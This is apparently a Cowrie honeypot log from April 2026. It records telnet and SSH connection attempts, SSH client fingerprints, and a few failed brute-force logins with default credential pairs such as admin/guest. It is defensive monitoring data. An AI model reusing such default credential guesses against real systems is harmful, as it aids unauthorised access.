{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":35448,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3f40fe82ffd","protocol":"telnet","message":"New connection: 51.38.143.2:35448 (159.203.135.109:23) [session: c3f40fe82ffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:30.595583Z"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.78.211","src_port":57908,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1ef7a2263f0","protocol":"telnet","message":"New connection: 133.130.78.211:57908 (159.203.135.109:23) [session: d1ef7a2263f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:30.643979Z"}
{"eventid":"cowrie.session.closed","duration":30.49147939682007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:32.378359Z","src_ip":"51.38.143.2","session":"9b0f18bd3c5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":35452,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b3729eaa773","protocol":"telnet","message":"New connection: 51.38.143.2:35452 (159.203.135.109:23) [session: 2b3729eaa773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:32.747672Z"}
{"eventid":"cowrie.session.closed","duration":30.872130870819092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:33.182903Z","src_ip":"133.130.78.211","session":"0ea307a02d8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.436339139938354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:33.348836Z","src_ip":"51.38.143.2","session":"a0e250c392f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":35458,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b4bc3c2a8ef","protocol":"telnet","message":"New connection: 51.38.143.2:35458 (159.203.135.109:23) [session: 0b4bc3c2a8ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:33.736077Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":35468,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c82760b14cf","protocol":"telnet","message":"New connection: 51.38.143.2:35468 (159.203.135.109:23) [session: 0c82760b14cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:33.934750Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":33078,"dst_ip":"159.203.135.109","dst_port":23,"session":"573e4df6c311","protocol":"telnet","message":"New connection: 51.38.143.2:33078 (159.203.135.109:23) [session: 573e4df6c311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:35.634874Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":33080,"dst_ip":"159.203.135.109","dst_port":23,"session":"88ab1d732990","protocol":"telnet","message":"New connection: 51.38.143.2:33080 (159.203.135.109:23) [session: 88ab1d732990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:35.815777Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":51976,"dst_ip":"159.203.135.109","dst_port":22,"session":"c823d3b841a9","protocol":"ssh","message":"New connection: 45.78.208.179:51976 (159.203.135.109:22) [session: c823d3b841a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:35.820687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:35.826854Z","src_ip":"45.78.208.179","session":"c823d3b841a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":33092,"dst_ip":"159.203.135.109","dst_port":23,"session":"376203e8970e","protocol":"telnet","message":"New connection: 51.38.143.2:33092 (159.203.135.109:23) [session: 376203e8970e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:36.003140Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:36.069950Z","src_ip":"45.78.208.179","session":"c823d3b841a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.034092903137207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:36.768193Z","src_ip":"51.38.143.2","session":"9ebf82b35425","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.482377290725708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:36.848561Z","src_ip":"133.130.78.211","session":"2d5e5c082ac1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"developer","password":"12345678","message":"login attempt [developer/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:37.075402Z","src_ip":"45.78.208.179","session":"c823d3b841a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:38.320968Z","src_ip":"45.78.208.179","session":"c823d3b841a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.105146646499634,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:38.381142Z","src_ip":"51.38.143.2","session":"5a47f2cf7977","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.700733184814453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:39.360172Z","src_ip":"51.38.143.2","session":"866cf03b41dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":33108,"dst_ip":"159.203.135.109","dst_port":23,"session":"05dfb18c88be","protocol":"telnet","message":"New connection: 51.38.143.2:33108 (159.203.135.109:23) [session: 05dfb18c88be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:39.611584Z"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.78.211","src_port":33656,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4456ee2db86","protocol":"telnet","message":"New connection: 133.130.78.211:33656 (159.203.135.109:23) [session: d4456ee2db86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:39.893539Z"}
{"eventid":"cowrie.session.closed","duration":30.43301224708557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:40.381536Z","src_ip":"51.38.143.2","session":"5886467604ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87049174308777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:43.649431Z","src_ip":"51.38.143.2","session":"5a9940addc61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":33112,"dst_ip":"159.203.135.109","dst_port":23,"session":"58cf2352f98c","protocol":"telnet","message":"New connection: 51.38.143.2:33112 (159.203.135.109:23) [session: 58cf2352f98c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:44.679815Z"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.78.211","src_port":35944,"dst_ip":"159.203.135.109","dst_port":23,"session":"efef6901c8cb","protocol":"telnet","message":"New connection: 133.130.78.211:35944 (159.203.135.109:23) [session: efef6901c8cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:45.424693Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":52450,"dst_ip":"159.203.135.109","dst_port":23,"session":"06d067e5ba8f","protocol":"telnet","message":"New connection: 51.38.143.2:52450 (159.203.135.109:23) [session: 06d067e5ba8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:45.563789Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":52466,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ac713a5e971","protocol":"telnet","message":"New connection: 51.38.143.2:52466 (159.203.135.109:23) [session: 6ac713a5e971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:46.855742Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":52468,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c145ed95747","protocol":"telnet","message":"New connection: 51.38.143.2:52468 (159.203.135.109:23) [session: 4c145ed95747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:47.169939Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":52476,"dst_ip":"159.203.135.109","dst_port":23,"session":"acc61034b754","protocol":"telnet","message":"New connection: 51.38.143.2:52476 (159.203.135.109:23) [session: acc61034b754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:47.595242Z"}
{"eventid":"cowrie.session.closed","duration":30.869518756866455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:49.424452Z","src_ip":"51.38.143.2","session":"ba3ec8913cfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.285543203353882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:49.468698Z","src_ip":"51.38.143.2","session":"8f3407a8170d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":52484,"dst_ip":"159.203.135.109","dst_port":23,"session":"d96e49d292da","protocol":"telnet","message":"New connection: 51.38.143.2:52484 (159.203.135.109:23) [session: d96e49d292da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:50.605434Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":52486,"dst_ip":"159.203.135.109","dst_port":23,"session":"f62314c0294e","protocol":"telnet","message":"New connection: 51.38.143.2:52486 (159.203.135.109:23) [session: f62314c0294e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:51.757462Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":52494,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc2c71859cee","protocol":"telnet","message":"New connection: 51.38.143.2:52494 (159.203.135.109:23) [session: bc2c71859cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:52.562455Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":52502,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c334215fded","protocol":"telnet","message":"New connection: 51.38.143.2:52502 (159.203.135.109:23) [session: 1c334215fded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:52.896778Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":52514,"dst_ip":"159.203.135.109","dst_port":23,"session":"aec8ce7ffddb","protocol":"telnet","message":"New connection: 51.38.143.2:52514 (159.203.135.109:23) [session: aec8ce7ffddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:53.260347Z"}
{"eventid":"cowrie.session.closed","duration":30.59305500984192,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:53.349949Z","src_ip":"51.38.143.2","session":"32b260f511b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.616533756256104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:53.397655Z","src_ip":"51.38.143.2","session":"51d4e546c627","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":54624,"dst_ip":"159.203.135.109","dst_port":22,"session":"d01d697d520b","protocol":"ssh","message":"New connection: 103.172.20.218:54624 (159.203.135.109:22) [session: d01d697d520b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:53.766273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:53.771250Z","src_ip":"103.172.20.218","session":"d01d697d520b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":52524,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cc15325373b","protocol":"telnet","message":"New connection: 51.38.143.2:52524 (159.203.135.109:23) [session: 4cc15325373b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:53.895768Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:53.996379Z","src_ip":"103.172.20.218","session":"d01d697d520b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alpine","password":"test","message":"login attempt [alpine/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:54.927320Z","src_ip":"103.172.20.218","session":"d01d697d520b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.92815637588501,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:55.384426Z","src_ip":"51.38.143.2","session":"f415ef3db431","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":56730,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8bb404dfaec","protocol":"telnet","message":"New connection: 51.38.143.2:56730 (159.203.135.109:23) [session: e8bb404dfaec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:55.728532Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:56.155509Z","src_ip":"103.172.20.218","session":"d01d697d520b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.451607942581177,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:55:57.116575Z","src_ip":"51.38.143.2","session":"d274ee7282a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.665374040603638,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:01.309400Z","src_ip":"133.130.78.211","session":"d1ef7a2263f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.787861585617065,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:01.383359Z","src_ip":"51.38.143.2","session":"c3f40fe82ffd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":56746,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6ef5948f920","protocol":"telnet","message":"New connection: 51.38.143.2:56746 (159.203.135.109:23) [session: d6ef5948f920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:01.843585Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":56748,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc9a4eb8dd3f","protocol":"telnet","message":"New connection: 51.38.143.2:56748 (159.203.135.109:23) [session: fc9a4eb8dd3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:03.213014Z"}
{"eventid":"cowrie.session.closed","duration":30.60752773284912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:03.355103Z","src_ip":"51.38.143.2","session":"2b3729eaa773","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.755988359451294,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:04.491973Z","src_ip":"51.38.143.2","session":"0b4bc3c2a8ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":56760,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e58d2afaf75","protocol":"telnet","message":"New connection: 51.38.143.2:56760 (159.203.135.109:23) [session: 9e58d2afaf75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:04.556389Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":56764,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6556a7ea6f2","protocol":"telnet","message":"New connection: 51.38.143.2:56764 (159.203.135.109:23) [session: e6556a7ea6f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:04.583580Z"}
{"eventid":"cowrie.session.closed","duration":30.71811318397522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:04.652783Z","src_ip":"51.38.143.2","session":"0c82760b14cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":56770,"dst_ip":"159.203.135.109","dst_port":23,"session":"dab8df66e820","protocol":"telnet","message":"New connection: 51.38.143.2:56770 (159.203.135.109:23) [session: dab8df66e820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:05.353620Z"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.78.211","src_port":44714,"dst_ip":"159.203.135.109","dst_port":23,"session":"71755d693388","protocol":"telnet","message":"New connection: 133.130.78.211:44714 (159.203.135.109:23) [session: 71755d693388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:05.511310Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52664,"dst_ip":"159.203.135.109","dst_port":22,"session":"c84ac77764ab","protocol":"ssh","message":"New connection: 159.203.92.129:52664 (159.203.135.109:22) [session: c84ac77764ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:05.563547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:05.589075Z","src_ip":"159.203.92.129","session":"c84ac77764ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:05.592986Z","src_ip":"159.203.92.129","session":"c84ac77764ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"guest","message":"login attempt [admin/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:05.652407Z","src_ip":"159.203.92.129","session":"c84ac77764ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.593361854553223,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:06.409025Z","src_ip":"51.38.143.2","session":"88ab1d732990","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.841954946517944,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:56:06.476732Z","src_ip":"51.38.143.2","session":"573e4df6c311","protocol":"telnet"}
